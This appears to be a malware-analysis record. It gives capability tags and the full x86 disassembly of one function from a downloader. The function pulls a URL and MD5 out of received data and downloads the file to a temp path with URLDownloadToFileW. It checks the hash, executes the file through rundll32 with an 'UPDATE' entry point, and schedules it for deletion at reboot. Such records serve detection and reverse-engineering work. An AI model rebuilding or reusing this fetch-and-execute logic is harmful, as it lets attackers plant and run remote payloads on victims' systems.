Function at 0x100080d0
Capabilities:
Contain obfuscated stackstrings
Delete file
Download url
Get common file path
Move file
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020935
mov eax, dword fs:[0]
push eax
mov eax, 0x1330
call fcn.1001d470
mov eax, dword [0x1002a4d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x10026940
lea ecx, [ebp - 0x1260]
call fcn.1000164e
xor ebx, ebx
xor eax, eax
mov esi, 0x206
mov dword [ebp - 4], ebx
push esi
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push ebx
push eax
call fcn.1000dc70
xor eax, eax
push esi
mov word [ebp - 0x628], ax
lea eax, [ebp - 0x626]
push ebx
push eax
call fcn.1000dc70
add esp, 0x18
lea eax, [ebp - 0x628]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x420]
push eax
push ebx
push str.sap
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0x7ff
lea eax, [ebp - 0x1237]
mov byte [ebp - 0x1238], bl
push ebx
push eax
call fcn.1000dc70
mov esi, ebx
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea edx, [ebp - 0x1238]
mov ecx, edi
call fcn.10007bca
test eax, eax
jne 0x100081cf
push 0x1d4c0
push dword [0x1002d34c]
call ebx
test eax, eax
je 0x10008559
inc esi
cmp esi, 6
jl 0x1000819e
jmp 0x10008559
lea eax, [ebp - 0x1238]
push eax
lea ecx, [ebp - 0x12a8]
call fcn.1000164e
lea edx, [ebp - 0x1260]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x12a8]
call fcn.1000885a
test al, al
je 0x1000854a
xor eax, eax
lea edi, [ebp - 0x1248]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x1240], 0xfffffe00
and dword [ebp - 0x123c], 0
push 0x70
lea eax, [ebp - 0x1318]
mov byte [ebp - 4], 3
push 0
push eax
call fcn.1000dc70
add esp, 0xc
lea ecx, [ebp - 0x1318]
call fcn.10001c0a
mov byte [ebp - 4], 4
lea eax, [ebp - 0x1260]
cmp dword [ebp - 0x124c], 0x10
lea ecx, [ebp - 0x133c]
cmovae eax, dword [ebp - 0x1260]
push eax
call fcn.1000164e
push ecx
lea eax, [ebp - 0x1248]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x133c]
push eax
lea ecx, [ebp - 0x1318]
call fcn.10001c67
xor edi, edi
mov byte [ebp - 4], 4
push edi
push 1
lea ecx, [ebp - 0x133c]
call fcn.1000171b
mov esi, 0x103
lea eax, [ebp - 0x113]
push esi
push edi
push eax
call fcn.1000dc70
push esi
lea eax, [ebp - 0x217]
mov dword [ebp - 0x114], 0x656c6966
push edi
push eax
mov dword [ebp - 0x110], 0x6c72755f
call fcn.1000dc70
add esp, 0x14
mov dword [ebp - 0x218], 0x656c6966
lea eax, [ebp - 0x114]
mov dword [ebp - 0x214], 0x35646d5f
lea ecx, [ebp - 0x1248]
push eax
call fcn.10003fb5
lea ecx, [ebp - 0x1278]
push ecx
mov ecx, eax
call fcn.10003ddd
push ecx
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x1248]
call fcn.10003fb5
lea ecx, [ebp - 0x1290]
push ecx
mov ecx, eax
call fcn.10003ddd
mov byte [ebp - 4], 7
mov dword [ebp - 0x1324], edi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x1264], 0x10
lea esi, [ebp - 0x1278]
cmovae esi, dword [ebp - 0x1278]
test esi, esi
je 0x1000836c
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008358
sub ecx, edx
lea edi, [ecx + 1]
cmp edi, 0x3fffffff
jle 0x10008370
xor esi, esi
jmp 0x10008386
lea eax, [edi + edi]
call fcn.10018d70
mov ecx, esp
mov edx, esi
push 3
push edi
call fcn.10007815
mov esi, eax
xor edi, edi
push 0
push 0
lea eax, [ebp - 0x420]
push eax
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x100083e6
push 0x1d4c0
push dword [0x1002d34c]
call ebx
test eax, eax
je 0x10008512
lea edx, [ebp - 0x420]
mov ecx, esi
call fcn.100013bb
test eax, eax
jne 0x100083e6
push 0x1d4c0
push dword [0x1002d34c]
call ebx
test eax, eax
je 0x10008512
inc edi
cmp edi, 6
jl 0x10008388
jmp 0x10008512
xor eax, eax
push 0x206
push eax
mov word [ebp - 0xa38], ax
lea eax, [ebp - 0xa36]
push eax
call fcn.1000dc70
push 0x10026e04
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x131c]
push eax
call fcn.1000ab40
add esp, 0x18
cmp dword [ebp - 0x131c], 0
je 0x10008496
lea edx, [ebp - 0x131c]
lea ecx, [ebp - 0xa38]
call fcn.10004ce3
test al, al
je 0x10008496
cmp dword [ebp - 0x127c], 0x10
lea esi, [ebp - 0x1290]
cmovae esi, dword [ebp - 0x1290]
test esi, esi
je 0x1000846b
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008457
sub ecx, edx
lea edi, [ecx + 1]
cmp edi, 0x3fffffff
jle 0x1000846f
xor eax, eax
jmp 0x10008483
lea eax, [edi + edi]
call fcn.10018d70
mov ecx, esp
mov edx, esi
push 3
push edi
call fcn.10007815
lea ecx, [ebp - 0xa38]
push ecx
push eax
call fcn.1000b3b3
pop ecx
pop ecx
test eax, eax
je 0x100084ae
mov edi, dword [ebp - 0x1324]
inc edi
mov dword [ebp - 0x1324], edi
cmp edi, 5
jl 0x1000832e
jmp 0x10008501
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x830], ax
lea eax, [ebp - 0x82e]
push eax
call fcn.1000dc70
lea eax, [ebp - 0x420]
push eax
push str.rundll32.exe__s_UPDATE
lea eax, [ebp - 0x830]
push 0x104
push eax
call fcn.10006648
add esp, 0x1c
mov byte [ebp - 0x131d], 0
lea edx, [ebp - 0x131d]
lea ecx, [ebp - 0x830]
call fcn.1000797f
push 4
push 0
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0
push 1
lea ecx, [ebp - 0x1290]
call fcn.1000171b
push 0
push 1
lea ecx, [ebp - 0x1278]
call fcn.1000171b
lea ecx, [ebp - 0x1318]
call fcn.10002f39
lea ecx, [ebp - 0x1248]
mov byte [ebp - 4], 1
call fcn.10003ccc
push 0
push 1
lea ecx, [ebp - 0x12a8]
call fcn.1000171b
push 0
push 1
lea ecx, [ebp - 0x1260]
call fcn.1000171b
lea esp, [ebp - 0x134c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100099f1
mov esp, ebp
pop ebp
ret